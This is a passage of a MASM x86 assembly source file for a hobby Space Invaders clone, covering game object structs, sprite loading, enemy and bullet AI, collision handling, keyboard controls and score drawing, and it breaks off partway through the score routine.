projectBoy/projectBoy/Source.asm
|
Savioor/AssemblyProject
|
a0bf129ab686d4a88f70328e2349dd1e52a621c0
|
[
"MIT"
] | null | null | null |
projectBoy/projectBoy/Source.asm
|
Savioor/AssemblyProject
|
a0bf129ab686d4a88f70328e2349dd1e52a621c0
|
[
"MIT"
] | null | null | null |
projectBoy/projectBoy/Source.asm
|
Savioor/AssemblyProject
|
a0bf129ab686d4a88f70328e2349dd1e52a621c0
|
[
"MIT"
] | null | null | null |
include /masm32/include/masm32rt.inc
include drd.inc
includelib drd.lib
.686
.data
; ----------------- equ declaration ----------------
;#region
; game stages enum
Stage_MENU equ 0 ; The playe is in the menu, show and handle the menu
Stage_PLAYING equ 1 ; The player is playing, handle the game
Stage_GAMEOVER equ 2 ; The player has lost, show game over screen
Stage_WIN equ 3 ; The player has won, show win screen
Stage_EXIT equ 4 ; The player is quiting the game
; Boolean shortcut
FALSE equ 0
TRUE equ 1
ofst equ offset ; I'm lazy
playerSpeed equ 8 ; The speed of the player
keyDownTest equ 1000h ; For key testing
; Different gameObject declarations
gameObjectSize equ 56 ; the size of the struct
go_y equ 0 ; Offsets of different elements it the struct
go_x equ 4
go_sprite equ 8
go_htbxX equ 12
go_htbxY equ 16
go_xV equ 20
go_yV equ 24
go_ai equ 28
go_exists equ 32
go_xFrq equ 36
go_yFrq equ 40
go_coll equ 44
go_points equ 48
go_collFunc equ 52
imageObjectSize equ 20 ; The size of the Img<> struct
; Enemy sizes (hitbox)
enemy_width equ 20
enemy_height equ 30
; starting point for brick initilization (more explanation in the brick section)
baseBrickX equ 168
baseBrickY equ 450
; For the image declaration
numbersOfst equ 16
;#endregion
; ---------------- Object defenition ----------------
;#region
; Every thing that's visible on screen except UI elements is a gameobject
GameObject STRUCT
y DWORD ? ; y position
x DWORD ? ; x position
sprite DWORD ? ; image pointer
hitBoxXOffset DWORD ? ; how far right does the hitbox strech
hitBoxYOffset DWORD ? ; how far down does the hitbox strech
xVelocity DWORD 0 ; How far does the x position move in a tick
yVelocity DWORD 0 ; How far does the y position move in a tick
ai DWORD 0 ; pointer to the function which controlls this object
exists DWORD FALSE ; does this exist (To decide if you need to display it, check collision, run ai and move it)
XFreq DWORD 1 ; once in how many frames does the object move once x
yFreq DWORD 1 ; same but y
checkCollision DWORD FALSE ; Is this a bullet (basiclly)
pointsOnKill DWORD 0 ; How many points do you get when this shit dies
collisionFunc DWORD ofst defaultCollisionFunc ; What happenes when someone touches you ;)
GameObject ENDS
;#endregion
; ----------- Image location declaration -----------
;#region
d_Player_Still BYTE "Sprites/Player/Player_Regular.bmp", 0
d_Player_Bullet BYTE "Sprites/Player/Player_Bullet.bmp", 0
d_Enemy0 BYTE "Sprites/Enemies/Enemy0.bmp", 0
d_Enemy1 BYTE "Sprites/Enemies/Enemy1.bmp", 0
d_EnemyBullet0 BYTE "Sprites/Enemies/Enemy_Bullet.bmp", 0
d_Brick4hp BYTE "Sprites/Shields/Brick4hp.bmp", 0
d_Brick3hp BYTE "Sprites/Shields/Brick3hp.bmp", 0
d_Brick2hp BYTE "Sprites/Shields/Brick2hp.bmp", 0
d_Brick1hp BYTE "Sprites/Shields/Brick1hp.bmp", 0
d_background BYTE "Sprites/background.bmp", 0
d_gameoverScreen BYTE "Sprites/Screens/gameOverScreen.bmp", 0
d_winScreen BYTE "Sprites/Screens/winScreen.bmp", 0
d_mainMenu BYTE "Sprites/Screens/menuScreen.bmp", 0
d_numberBase BYTE "Sprites/Numbers/0.bmp", 0
d_boom BYTE "Sprites/Boom.bmp", 0
; numbersOfst equ 16
;#endregion
; ------------ Image memory decleration -------------
;#region
Player_Still Img<>
Player_Bullet Img<>
Enemy0 Img<>
Enemy1 Img<>
EnemyBullet0 Img<>
; The next 4 lines of code are kinda equivelent to 'Brick4hp Img 4 dup (<?>)'
; Img<> size is 20 bytes
Brick4hp Img<>
Brick3hp Img<>
Brick2hp Img<>
Brick1hp Img<>
background Img<>
gameoverScreen Img<>
winScreen Img<>
mainMenu Img<>
numbersArray Img 10 dup (<?>)
boom Img<>
;#endregion
; --------------- Object Declaration ---------------
;#region
ghosts GameObject 55 dup (<?>) ; AIII this is cheeky as fuck
allGameObjects GameObject 110 dup (<?>) ; in that order: 55 enemies, 15 enemy bullets, 40 bricks
playerObject GameObject<> ; The object representing the player himself
playerBullet GameObject<> ; The bullet that the player shoots
boomAnimation GameObject<>
; I don't really have a good category for this but it's the window name
windowName BYTE "Spave Invaders - by Alexey Shapovalov", 0
;#endregion
; ---------------- Yooda Challange ----------------
;#region
FRAMES_ALIVE dword 0
;#endregion
; ----------- Brick location declaration -----------
;#region
; each @ is 10x10 pixels, - are defined by surrounding @ or markings
; coordinates are adjusted from base point (marked in drawing)
;
;---------------------------------
;----------@@@@----------@@@@-----
;|---168--|@@@@|---168--|@@@@----- etc.
;----------@--@----------@--@-----
;-----base-^----------------------
; Base brick x & y declaration at equ declaration
; Y Offest array
yOffsetFromBaseBrick DWORD 0, 0, -10, -10, -10, -10, -20, -20, -20, -20
; X offset array:
xOffsetFromBaseBrick DWORD 0, 30, 0, 10, 20, 30, 0, 10, 20, 30
;#endregion
; ---------------------- flags ---------------------
;#region
MOVE_LEFT BYTE FALSE ; Are the invaders moving left?
LEADER_SPOKE BYTE FALSE ; Did the leader say his word?
JUMP_DOWN BYTE FALSE ; Should we go lower?
BULLET_AMOUNT BYTE 0 ; How many bullets alive now?
INVADER_SPEED BYTE 16 ; How fast should the invaders go?
SCORE BYTE 0 ; How many enemies did the player kill
GAME_STAGE BYTE Stage_MENU ; options for this flag are shown in the game stages enum defined at equ declarations
FRAME_COUNT DWORD 0 ; How many frames have passed?
LEADER DWORD ? ; The location of the leading invader in memory
;#endregion
.code
; This function generates a random 32 bit number and passes with eax
generateRandom proc
rdseed ax
shl eax, 16
rdseed ax
ret
generateRandom endp
; This function returns (firstElement % secondElement) into eax
modulu proc, firstElement:DWORD, secondElement:DWORD
push edx
xor edx, edx ; Clear edx for division
mov eax, firstElement ; eax = firstElement
div secondElement ; firstElement / secondElemeny
mov eax, edx ; eax = firstElement % secondElemeny (because edx stores the remainder of the division)
pop edx
ret 8
modulu endp
; Return the offset of a gameObject into esi using an index
getGameObjectIndex proc, index:DWORD
push eax
push edx
mov esi, index ; esi = index
mov eax, gameObjectSize ; eax = gameObjectSize
mul esi ; eax = index * gameObjectSize
mov esi, eax ; esi = index * gameObjectSize
add esi, ofst allGameObjects ; esi = [start of object array] + index * gameObjectSize
pop edx
pop eax
ret 4
getGameObjectIndex endp
; Get the current leading invader and update LEADER flag
getLeader proc
push eax
push ecx
push esi
push edi
cmp SCORE, 55 ; Make sure we aren't fucking up shit
jne SOMEONE_ALIVE
ret
SOMEONE_ALIVE: ; Continue if we aren't fucking up shit
; Find the first enemy alive
xor ecx, ecx
mov esi, ofst allGameObjects
FIND_INITIAL:
cmp DWORD ptr [esi + go_exists], TRUE ; Check if enemy is alive
je FOUND_INITIAL ; If so continue w/ code
add esi, gameObjectSize ; Next object
inc ecx ; else check next enemy
FOUND_INITIAL:
inc ecx ; incease ecx because we don't need to compare the first enemy to himself
mov edi, esi ; I use esi late so put the current potential leader into edi
invoke getGameObjectIndex, ecx ; Get the initial index
.while ecx < 55 ; Loop over all enemies
cmp DWORD ptr [esi + go_exists], FALSE ; Is it alive?
je CONTINUE_LEADER_SEARCH_LOOP
cmp DWORD ptr [esi + go_points], 0 ; Is it even an enemy?
je CONTINUE_LEADER_SEARCH_LOOP
.if MOVE_LEFT == TRUE ; Move left
; Am I the leftmostsome?
mov eax, DWORD ptr [esi + go_x]
.if eax < DWORD ptr [edi + go_x]
;I am more left
mov edi, esi
.endif
.else ; Move right
; Am I the rightmostsome?
mov eax, DWORD ptr [esi + go_x]
.if DWORD ptr eax > DWORD ptr [edi + go_x]
;I am more right
mov edi, esi
.endif
.endif
CONTINUE_LEADER_SEARCH_LOOP:
add esi, gameObjectSize
inc ecx
.endw
mov LEADER, edi ; Update the LEADER flag
pop edi
pop esi
pop ecx
pop eax
ret
getLeader endp
;#endregion
; Does nothing
nullFunc proc, object:DWORD
ret 4
nullFunc endp
boomAI proc, object:DWORD
cmp FRAMES_ALIVE, 0
je EXITF
dec FRAMES_ALIVE
cmp FRAMES_ALIVE, 0
jne EXITF
mov boomAnimation.exists, FALSE
EXITF:
ret 4
boomAI endp
; Change the game stage to Stage_GAMEOVER - the player lost
playerLost proc, object:DWORD
mov GAME_STAGE, Stage_GAMEOVER
ret 4
playerLost endp
; Run this function to control the enemies
basicEnemyAi proc, object:DWORD
pushad
mov ebx, object ; can't use object in indexing so insert it into ebx
; ~~~ move the enemy ~~~
.if LEADER_SPOKE == FALSE ; Leader didn't speak
mov edi, LEADER ; get the leader from memory
; Let the leader speak (edi)
.if MOVE_LEFT == TRUE
mov ecx, 50
sub ecx, enemy_width
.if DWORD ptr [edi + go_x] < ecx ; Check leader position, change flags if needed
mov MOVE_LEFT, FALSE
mov JUMP_DOWN, TRUE
invoke getLeader ; Get the leader because direction has changed
.endif
.else
.if DWORD ptr [edi + go_x] > 950 ; Check leader position, change flags if needed
mov MOVE_LEFT, TRUE
mov JUMP_DOWN, TRUE
invoke getLeader ; Get the leader because direction has changed
.endif
.endif
mov LEADER_SPOKE, TRUE
.endif
xor eax, eax ; Set freqency
mov al, INVADER_SPEED
mov DWORD ptr [ebx + go_xFrq], eax
; Set speed
mov DWORD ptr [ebx + go_xV], 1
.if MOVE_LEFT == TRUE
neg DWORD ptr [ebx + go_xV] ; -1
.endif
.if JUMP_DOWN == TRUE ; Move one row down and check for player losing
add DWORD ptr [ebx + go_y], enemy_height
.if DWORD ptr [ebx + go_y] >= 420
mov GAME_STAGE, Stage_GAMEOVER ; The invaders are too low
.endif
.endif
; ~~~ shoot bullets ~~~
invoke generateRandom ; Generate a random number to decide if to shoot or not
invoke modulu, eax, 3500
cmp eax, 0 ; eax % 3500 == 0
jne EXIT_BE_AI
invoke modulu, FRAME_COUNT, 1200
cmp eax, 0
jbe EXIT_BE_AI
; 1:3500 chance to get here
mov ecx, 0
mov esi, ofst allGameObjects
CHECK_BULLET_SHOOTING:
cmp DWORD ptr [esi + go_exists], FALSE
je CONTINUE_CBS
mov eax, [esi + go_x]
sub eax, [ebx + go_x]
cmp eax, 1
jg CONTINUE_CBS
mov eax, [esi + go_y]
cmp eax, [ebx + go_y]
ja EXIT_BE_AI
CONTINUE_CBS:
add esi, gameObjectSize
inc ecx
cmp ecx, 55
jne CHECK_BULLET_SHOOTING
mov al, BULLET_AMOUNT ; The amount of bullets alive
cmp al, 15 ; BULLETS_ALIVE >= 15
jae EXIT_BE_AI
inc al
mov BULLET_AMOUNT, al ; update bullet amount
mov ecx, 55
invoke getGameObjectIndex, 55
FIND_VACANT_BULLET:
cmp DWORD ptr [esi + go_exists], FALSE
je BULLET_FOUND
add esi, gameObjectSize
inc ecx
cmp ecx, 70
jne FIND_VACANT_BULLET
BULLET_FOUND:
mov DWORD ptr [esi + go_exists], TRUE ; Make bullet exist
mov eax, [ebx + go_x]
mov [esi + go_x], eax ; Make bullet same x as shooter
mov eax, [ebx + go_y]
add eax, 35
mov [esi + go_y], eax ; Make bullet same y as shooter
EXIT_BE_AI:
popad
ret 4
basicEnemyAi endp
; The default collision function for game objects
defaultCollisionFunc proc, object:DWORD
push ebx
mov ebx, object
mov DWORD ptr [ebx + go_exists], FALSE ; set the object exists variable to false
pop ebx
ret 4
defaultCollisionFunc endp
; The collision function that runs when a bullet hits an enemy
enemyCollisionFunc proc, object:DWORD
pusha
mov ebx, object
mov DWORD ptr [ebx + go_exists], FALSE ; set the object exists variable to false
inc SCORE ; Increase the player score
; Create an explosion
mov eax, DWORD ptr [ebx + go_x]
mov boomAnimation.x, eax
mov eax, DWORD ptr [ebx + go_y]
mov boomAnimation.y, eax
mov boomAnimation.exists, TRUE
mov FRAMES_ALIVE, 80
; Make a ghost
mov ecx, 55
mov esi, ofst ghosts
GHOST_SETUP_LOOP:
cmp DWORD ptr [esi + go_exists], FALSE
je EXIT_LOOP
add esi, gameObjectSize
loop GHOST_SETUP_LOOP
EXIT_LOOP: ;esi holds ghost now
mov edx, 1
invoke generateRandom
invoke modulu, eax, 2
cmp eax, 0
je NO_INVERT1
neg edx
NO_INVERT1:
mov DWORD ptr [esi + go_xV], edx
mov edx, 1
invoke generateRandom
invoke modulu, eax, 2
cmp eax, 0
je NO_INVERT2
neg edx
NO_INVERT2:
mov DWORD ptr [esi + go_yV], edx
mov eax, DWORD ptr [ebx + go_x]
mov DWORD ptr [esi + go_x], eax
mov eax, DWORD ptr [ebx + go_y]
mov DWORD ptr [esi + go_y], eax
mov DWORD ptr [esi + go_exists], TRUE
popa
ret 4
enemyCollisionFunc endp
; The collision function that runs when something hits a brick
brickCollisionFunc proc, object:DWORD
push ebx
mov ebx, object
cmp DWORD ptr [ebx + go_sprite], ofst Brick1hp ; Do I have 1 hp currently?
je DIE ; If so jump do DIE
add DWORD ptr [ebx + go_sprite], imageObjectSize ; Increase my sprite value by Img<> struct size so that we will now point to the next image
jmp EXIT_FUNC ; Exit
DIE:
mov DWORD ptr [ebx + go_exists], FALSE ; Set the exists variable of this brick to false
EXIT_FUNC:
pop ebx
ret 4
brickCollisionFunc endp
ghostAI proc, object:DWORD
pusha
mov ebx, object
mov eax, [ebx + go_x]
cmp eax, 0
jg NOT_TO_LEFT
neg DWORD ptr [ebx + go_xV]
mov edx, DWORD ptr [ebx + go_xV]
add DWORD ptr [ebx + go_x], edx
jmp X_OKAY
NOT_TO_LEFT:
add eax, [ebx + go_htbxX]
cmp eax, 1000
jl X_OKAY
neg DWORD ptr [ebx + go_xV]
mov edx, DWORD ptr [ebx + go_xV]
add DWORD ptr [ebx + go_x], edx
X_OKAY:
mov ebx, object
mov eax, [ebx + go_y]
cmp eax, 0
jg NOT_TO_TOP
neg DWORD ptr [ebx + go_yV]
mov edx, DWORD ptr [ebx + go_yV]
add DWORD ptr [ebx + go_y], edx
jmp EXITF
NOT_TO_TOP:
add eax, [ebx + go_htbxY]
cmp eax, 600
jl Y_OKAY
neg DWORD ptr [ebx + go_yV]
mov edx, DWORD ptr [ebx + go_yV]
add DWORD ptr [ebx + go_y], edx
jmp EXITF
Y_OKAY:
xor ecx, ecx
mov esi, ofst ghosts
COLLISION_LOOP_OVER_OBJECTS: ; Loop over all game objects
cmp DWORD ptr [esi + go_exists], FALSE ; Check if the object doesn't exists
je CONTINUE_COLLISION_LOOP ; If so skip it
cmp esi, ebx ; Check if the refrece object is the same object as the one being checked
je CONTINUE_COLLISION_LOOP ; If so skip it
mov eax, [ebx + go_x] ; xL of checker
add eax, [ebx + go_htbxX] ; xH of checker
mov edx, [esi + go_x] ; xL of checked
add edx, [esi + go_htbxX] ; xH of checked
.if DWORD ptr [ebx + go_x] <= edx && eax > [esi + go_x]
jmp CHECK_COLLISION_Y
.endif
jmp CONTINUE_COLLISION_LOOP
CHECK_COLLISION_Y:
mov eax, [ebx + go_y] ; yL of checker
add eax, [ebx + go_htbxY] ; yH of checker
mov edx, [esi + go_y] ; yL of checked
add edx, [esi + go_htbxY] ; yH of checked
.if DWORD ptr [ebx + go_y] <= edx && eax > [esi + go_y]
jmp COLLISION_DETECTED
.endif
jmp CONTINUE_COLLISION_LOOP
COLLISION_DETECTED:
neg DWORD ptr [ebx + go_xV]
neg DWORD ptr [ebx + go_yV]
mov edx, DWORD ptr [ebx + go_yV]
add DWORD ptr [ebx + go_y], edx
mov edx, DWORD ptr [ebx + go_xV]
add DWORD ptr [ebx + go_x], edx
; Call the collision functions of the checker and checked
jmp EXITF ; Exit
CONTINUE_COLLISION_LOOP:
add esi, gameObjectSize
inc ecx
cmp ecx, 55
jne COLLISION_LOOP_OVER_OBJECTS
EXITF:
popa
ret 4
ghostAI endp
; The collision function that runs when something hits a enemy bullet
enemyBulletCollision proc, object:DWORD
push eax
push ebx
mov ebx, object
mov al, BULLET_AMOUNT ; al = BULLET_AMOUNT
dec al ; al = BULLET_AMOUNT - 1
mov BULLET_AMOUNT, al ; BULLET_AMOUNT -= 1
mov DWORD ptr [ebx + go_exists], FALSE ; Kill this bullet
pop ebx
pop eax
ret 4
enemyBulletCollision endp
; Check the collision from one object to all the others objects
checkCollision proc, object:DWORD
push ebx
mov ebx, object
; Exit the function if the object shouldn't check collision
cmp DWORD ptr [ebx + go_coll], FALSE
je FINISH_COLLISION
; Exit if the object is dead
cmp DWORD ptr [ebx + go_exists], FALSE
je FINISH_COLLISION
; We are officially inside the function, push some extra registers
push ecx
push edx
xor ecx, ecx
mov esi, ofst allGameObjects
COLLISION_LOOP_OVER_OBJECTS: ; Loop over all game objects
cmp DWORD ptr [esi + go_exists], FALSE ; Check if the object doesn't exists
je CONTINUE_COLLISION_LOOP ; If so skip it
cmp esi, ebx ; Check if the refrece object is the same object as the one being checked
je CONTINUE_COLLISION_LOOP ; If so skip it
mov eax, [ebx + go_x] ; xL of checker
add eax, [ebx + go_htbxX] ; xH of checker
mov edx, [esi + go_x] ; xL of checked
add edx, [esi + go_htbxX] ; xH of checked
.if DWORD ptr [ebx + go_x] <= edx && eax > [esi + go_x]
jmp CHECK_COLLISION_Y
.endif
jmp CONTINUE_COLLISION_LOOP
CHECK_COLLISION_Y:
mov eax, [ebx + go_y] ; yL of checker
add eax, [ebx + go_htbxY] ; yH of checker
mov edx, [esi + go_y] ; yL of checked
add edx, [esi + go_htbxY] ; yH of checked
.if DWORD ptr [ebx + go_y] <= edx && eax > [esi + go_y]
jmp COLLISION_DETECTED
.endif
jmp CONTINUE_COLLISION_LOOP
COLLISION_DETECTED:
; Call the collision functions of the checker and checked
push esi
call DWORD ptr [esi + go_collFunc]
push ebx
call DWORD ptr [ebx + go_collFunc]
jmp FINISH_COLLISION ; Exit
CONTINUE_COLLISION_LOOP:
add esi, gameObjectSize
inc ecx
cmp ecx, 112
jne COLLISION_LOOP_OVER_OBJECTS
pop edx
pop ecx
FINISH_COLLISION:
pop ebx
ret 4
checkCollision endp
; Handle a game object in that order: AI -> Movement -> Draw
handleGameObject proc, object:DWORD
push ebx
push eax
mov ebx, object
cmp DWORD ptr [ebx + go_exists], TRUE ; Check if object exists
jne FINISH_HANDLING ; If not then don't handle it
; Run the AI of the object
cmp DWORD ptr [ebx + go_ai], 0
je NO_AI
push ebx
call DWORD ptr [ebx + go_ai]
NO_AI:
; move the object (x)
cmp DWORD ptr [ebx + go_xV], 0 ; If velocity is 0 don't move
je HANDLE_Y_MOVEMENT
invoke modulu, FRAME_COUNT, [ebx + go_xFrq] ; Check if this is a frame you should mive at
.if eax == 0
mov eax, [ebx + go_xV] ; If so move
.else
jmp HANDLE_Y_MOVEMENT ; Otherwise go the the Y movement
.endif
; Check if we didn't move too far with x
add DWORD ptr [ebx + go_x], eax
cmp DWORD ptr [ebx + go_x], 0
jl CANT_GO_FURTHER_X
mov eax, [ebx + go_htbxX]
add eax, [ebx + go_x]
cmp eax, 1000
jg CANT_GO_FURTHER_X
jmp HANDLE_Y_MOVEMENT
CANT_GO_FURTHER_X:
mov eax, [ebx + go_xV]
sub DWORD ptr [ebx + go_x], eax
; Move object (y) - Works the same way as x moving does
HANDLE_Y_MOVEMENT:
cmp DWORD ptr [ebx + go_yV], 0
je DRAW_OBJECT
invoke modulu, FRAME_COUNT, [ebx + go_yFrq]
.if eax == 0
mov eax, [ebx + go_yV]
.else
jmp DRAW_OBJECT
.endif
add DWORD ptr [ebx + go_y], eax
cmp DWORD ptr [ebx + go_y], 0
jl CANT_GO_FURTHER_Y
mov eax, [ebx + go_htbxY]
add eax, [ebx + go_y]
cmp eax, 600
jg CANT_GO_FURTHER_Y
jmp DRAW_OBJECT
CANT_GO_FURTHER_Y:
push ebx
call DWORD ptr [ebx + go_collFunc]
jmp FINISH_HANDLING
DRAW_OBJECT:
invoke drd_imageDraw, [ebx + go_sprite], [ebx + go_x], [ebx + go_y] ; Draw the object
FINISH_HANDLING:
pop eax
pop ebx
ret 4
handleGameObject endp
; Handle all key presses possible in all game stages
keyhandle proc, keycode:DWORD
; key right = 39
; key left = 37
; spacebar = 20h
; R = 52h
; E = 45h
; Make sure I'm using the correct keyset for the menu and game
cmp GAME_STAGE, Stage_MENU
je menuKeys
cmp GAME_STAGE, Stage_GAMEOVER
je redirectionKeys
cmp GAME_STAGE, Stage_WIN
je redirectionKeys
;#region Key handling during game
invoke GetAsyncKeyState, VK_RIGHT
cmp ax, keyDownTest
jb NOT_KEY_RIGHT
; The right arrow key is pressed (move right):
mov playerObject.xVelocity, playerSpeed
jmp NOT_KEY_LEFT
NOT_KEY_RIGHT:
invoke GetAsyncKeyState, VK_LEFT
cmp ax, keyDownTest
jb NOT_KEY_LEFT
; The left arrow key is pressed (move left):
mov playerObject.xVelocity, -playerSpeed
NOT_KEY_LEFT:
invoke GetAsyncKeyState, VK_SPACE
cmp ax, keyDownTest
jb NO_KEY_MATCH
; Spacebar is pressed (shoot bullet):
cmp playerBullet.exists, TRUE
je NO_KEY_MATCH
push eax
push edx
mov playerBullet.exists, TRUE ; Make the bullet exist
mov eax, playerObject.hitBoxXOffset ; eax = player width
shr eax, 1 ; eax = player width / 2
add eax, playerObject.x ; eax = player center x pos
mov edx, playerBullet.hitBoxXOffset ; edx = bullet width
shr edx, 1 ; edx = bullet width / 2
sub eax, edx ; eax = player x center pos adjusted for bullet hitbox
mov playerBullet.x, eax ; bullet.x = player center x pos
mov eax, playerObject.y ; eax = player y
sub eax, 30 ; eax = slightly above player y
mov playerBullet.y, eax ; bullet.y = slightly above player y
pop eax
pop edx
NO_KEY_MATCH:
ret 4
;#endregion
;#region Key handling during menu
menuKeys:
invoke GetAsyncKeyState, VK_SPACE
cmp ax, keyDownTest
jb MENU_NOT_SPACEBAR
mov GAME_STAGE, Stage_PLAYING
ret 4
MENU_NOT_SPACEBAR:
invoke GetAsyncKeyState, VK_E
cmp ax, keyDownTest
jb NO_MENU_KEY_MATCH
mov GAME_STAGE, Stage_EXIT
ret 4
NO_MENU_KEY_MATCH:
ret 4
;#endregion
;#Region key handling during lose or win
redirectionKeys:
invoke GetAsyncKeyState, VK_R
cmp ax, keyDownTest
jae RETRY_GAME
invoke GetAsyncKeyState, VK_SPACE
cmp ax, keyDownTest
jae TO_MENU
ret 4
RETRY_GAME:
; The 'R' key is pressed (restart the game)
mov GAME_STAGE, Stage_PLAYING
ret 4
TO_MENU:
mov GAME_STAGE, Stage_MENU
;#endregion
ret 4
keyhandle endp
; Run at the startup of the program, overall this must be run only once
initGameStartup proc
pusha
; ~~~ Player setup ~~~
mov playerObject.collisionFunc, ofst playerLost ; Player collision function
mov playerObject.hitBoxXOffset, 132 ; Player width
mov playerObject.hitBoxYOffset, 40 ; Player height
; ~~~ Player bullet setup ~~~
mov playerBullet.yVelocity, -1 ; Bullet moves at a speed of 1 upwards
mov playerBullet.yFreq, 4 ; The bullet moves every 4 frames
mov playerBullet.hitBoxXOffset, 13 ; The bullet width is 13
mov playerBullet.hitBoxYOffset, 25 ; The bullet height is 25
mov playerBullet.checkCollision, TRUE ; The bullet is a collision checker
; ~~~ Boom setup ~~~
mov boomAnimation.collisionFunc, ofst nullFunc
mov boomAnimation.ai, ofst boomAI
mov boomAnimation.hitBoxXOffset, 0
mov boomAnimation.hitBoxYOffset, 0
mov boomAnimation.sprite, ofst boom
; ~~~ Ghost setup ~~~
mov ecx, 55
mov esi, ofst ghosts
lea ebx, Enemy1
GHOST_SETUP_LOOP:
mov [esi + go_sprite], ebx
mov DWORD ptr [esi + go_htbxX], enemy_width ; Width
mov DWORD ptr [esi + go_htbxY], enemy_height ; Height
mov DWORD ptr [esi + go_collFunc], ofst nullFunc
mov DWORD ptr [esi + go_ai], ofst ghostAI
mov DWORD ptr [esi + go_yFrq], 6
mov DWORD ptr [esi + go_xFrq], 6
add esi, gameObjectSize
loop GHOST_SETUP_LOOP
; ~~~ Enemy setup ~~~
xor ecx, ecx
ENEMY_SETUP_LOOP:
invoke getGameObjectIndex, ecx ; Get the index
mov DWORD ptr [esi + go_xFrq], 16 ; They move once every 16 frames
mov DWORD ptr [esi + go_htbxX], enemy_width ; Width
mov DWORD ptr [esi + go_htbxY], enemy_height ; Height
mov DWORD ptr [esi + go_ai], ofst basicEnemyAi ; Set their commanding AI to basicEnemyAi(DWORD object)
mov DWORD ptr [esi + go_points], 1 ; When an enemy dies he gives one point
mov DWORD ptr [esi + go_collFunc], ofst enemyCollisionFunc ; Set collision function
inc ecx
cmp ecx, 55
jne ENEMY_SETUP_LOOP
; ~~~ Initilize enemy bullets ~~~
ENEMY_BULLET_SETUP_LOOP:
invoke getGameObjectIndex, ecx
mov DWORD ptr [esi + go_coll], TRUE ; Enemy bullets check collision
mov DWORD ptr [esi + go_htbxX], 13 ; width
mov DWORD ptr [esi + go_htbxY], 25 ; height
mov DWORD ptr [esi + go_yFrq], 12 ; Move once every 12 frames
mov DWORD ptr [esi + go_yV], 1 ; Move 1 in the y axis each time
mov DWORD ptr [esi + go_collFunc], ofst enemyBulletCollision ; Set collision function
inc ecx
cmp ecx, 70
jne ENEMY_BULLET_SETUP_LOOP
; ~~~ Initilize bricks ~~~
BRICK_INIT_LOOP:
invoke getGameObjectIndex, ecx
mov DWORD ptr [esi + go_htbxX], 10 ; Width
mov DWORD ptr [esi + go_htbxY], 10 ; Height
mov DWORD ptr [esi + go_collFunc], ofst brickCollisionFunc ; Collision function
inc ecx
cmp ecx, 110
jne BRICK_INIT_LOOP
popa
ret
initGameStartup endp
; Run this everytime I want to restart/start a game session
initGame proc
mov FRAME_COUNT, 0 ; Reset the frame count because a new game has started
mov SCORE, 0 ; Reset the score
; ~~~ Player setup ~~~
mov playerObject.x, 434 ; Player x position
mov playerObject.y, 500 ; Player y position
mov playerObject.exists, TRUE ; The player starts out alive
lea eax, Player_Still
mov playerObject.sprite, eax ; The default player sprite
; ~~~ Player bullet setup ~~~
lea eax, Player_Bullet
mov playerBullet.sprite, eax ; The default bullet sprite
mov playerBullet.exists, FALSE
; ~~~ Boom setup ~~~
mov boomAnimation.exists, FALSE
mov FRAMES_ALIVE, 0
; ~~~ Ghost setup ~~~
mov ecx, 55
mov esi, ofst ghosts
GHOST_SETUP_LOOP:
mov DWORD ptr [esi + go_exists], FALSE
add esi, gameObjectSize
loop GHOST_SETUP_LOOP
; ~~~ Enemy setup ~~~
mov INVADER_SPEED, 16
xor ecx, ecx
ENEMY_SETUP_LOOP:
invoke getGameObjectIndex, ecx ; Get the index
lea ebx, Enemy0
mov [esi + go_sprite], ebx ; Set the enemy default sprite
mov DWORD ptr [esi + go_exists], TRUE ; The enemies start out
; ~-~ Allocate the enemies on screen ~-~
mov eax, ecx ; X
inc eax ; increase by one so division by 0 won't exist
invoke modulu, eax, 11 ; Get remainder
mov ebx, enemy_width ; enemy_width * 2 is the distance between each thing
shl ebx, 1
mul ebx ; = enemy_width * 2 * ((ecx + 1) % 11)
add eax, 60 ; add 60 to move the thing not to the rightest point on screen
mov [esi + go_x], eax
mov eax, ecx ; Y
inc eax ; = ecx + 1
invoke modulu, eax, 5
mov ebx, enemy_height
shl ebx, 1
mul ebx ; = enemy_height * 2 * ((ecx + 1) % 5)
add eax, 40
mov [esi + go_y], eax
inc ecx
cmp ecx, 55
jne ENEMY_SETUP_LOOP
invoke getLeader ; Get the initial leader
; ~~~ Initilize enemy bullets ~~~
ENEMY_BULLET_SETUP_LOOP:
invoke getGameObjectIndex, ecx
lea ebx, EnemyBullet0
mov DWORD ptr [esi + go_sprite], ebx
mov DWORD ptr [esi + go_exists], FALSE
inc ecx
cmp ecx, 70
jne ENEMY_BULLET_SETUP_LOOP
; ~~~ Initilize bricks ~~~
xor edi, edi
BRICK_INIT_LOOP:
invoke getGameObjectIndex, ecx
lea ebx, Brick4hp
mov DWORD ptr [esi + go_sprite], ebx
mov DWORD ptr [esi + go_exists], TRUE
; Set positions
mov DWORD ptr [esi + go_x], baseBrickX
mov DWORD ptr [esi + go_y], baseBrickY
mov eax, [xOffsetFromBaseBrick + edi]
add DWORD ptr [esi + go_x], eax
mov eax, [yOffsetFromBaseBrick + edi]
add DWORD ptr [esi + go_y], eax
; Add x offset
mov eax, ecx
push ecx
mov ecx, 10
div ecx
pop ecx
sub eax, 7
mov edx, 208
mul edx
add DWORD ptr [esi + go_x], eax
add edi, 4
.if edi == 40
xor edi, edi
.endif
inc ecx
cmp ecx, 110
jne BRICK_INIT_LOOP
ret
initGame endp
; Draw the currunt score (SCORE flag) using the lettres, maximun score is 255
drawScore proc, xPos:DWORD, yPos:DWORD
pushad
;#region hundrends
xor edx, edx ; edx = 0
xor eax, eax
mov al, SCORE ; eax = SCORE
mov ebx, 100
div ebx ; eax = Math.floor(SCORE / 100)
mov ebx, imageObjectSize ; ebx = 20
mul ebx ; eax = 100's * 20
mov ebx, eax ; ebx = 100's * 20
add ebx, ofst numbersArray ; add origin to make offset correct
invoke drd_imageDraw, ebx, xPos, yPos ; Draw
;#endregion
add xPos, 35
;#region tens
xor edx, edx ; edx = 0
xor eax, eax
mov al, SCORE ; eax = SCORE
mov ebx, 10
div ebx ; eax = Math.floor(SCORE / 10)
push edx ; this contains SCORE % 10 which is needed for later
invoke modulu, eax, 10 ; eax = Math.floor(SCORE / 10) % 10
mov ebx, imageObjectSize ; ebx = 20
mul ebx ; eax = 10's * 20
mov ebx, eax ; ebx = 10's * 20
add ebx, ofst numbersArray ; add origin to make offset correct
invoke drd_imageDraw, ebx, xPos, yPos ; Draw
;#endregion
add xPos, 35
;#region ones
pop eax ; eax = SCORE % 10 which was pushed form edx earlier
mov ebx, imageObjectSize ; ebx = 20
mul ebx ; eax = 1's * 20
mov ebx, eax ; ebx = 1's * 20
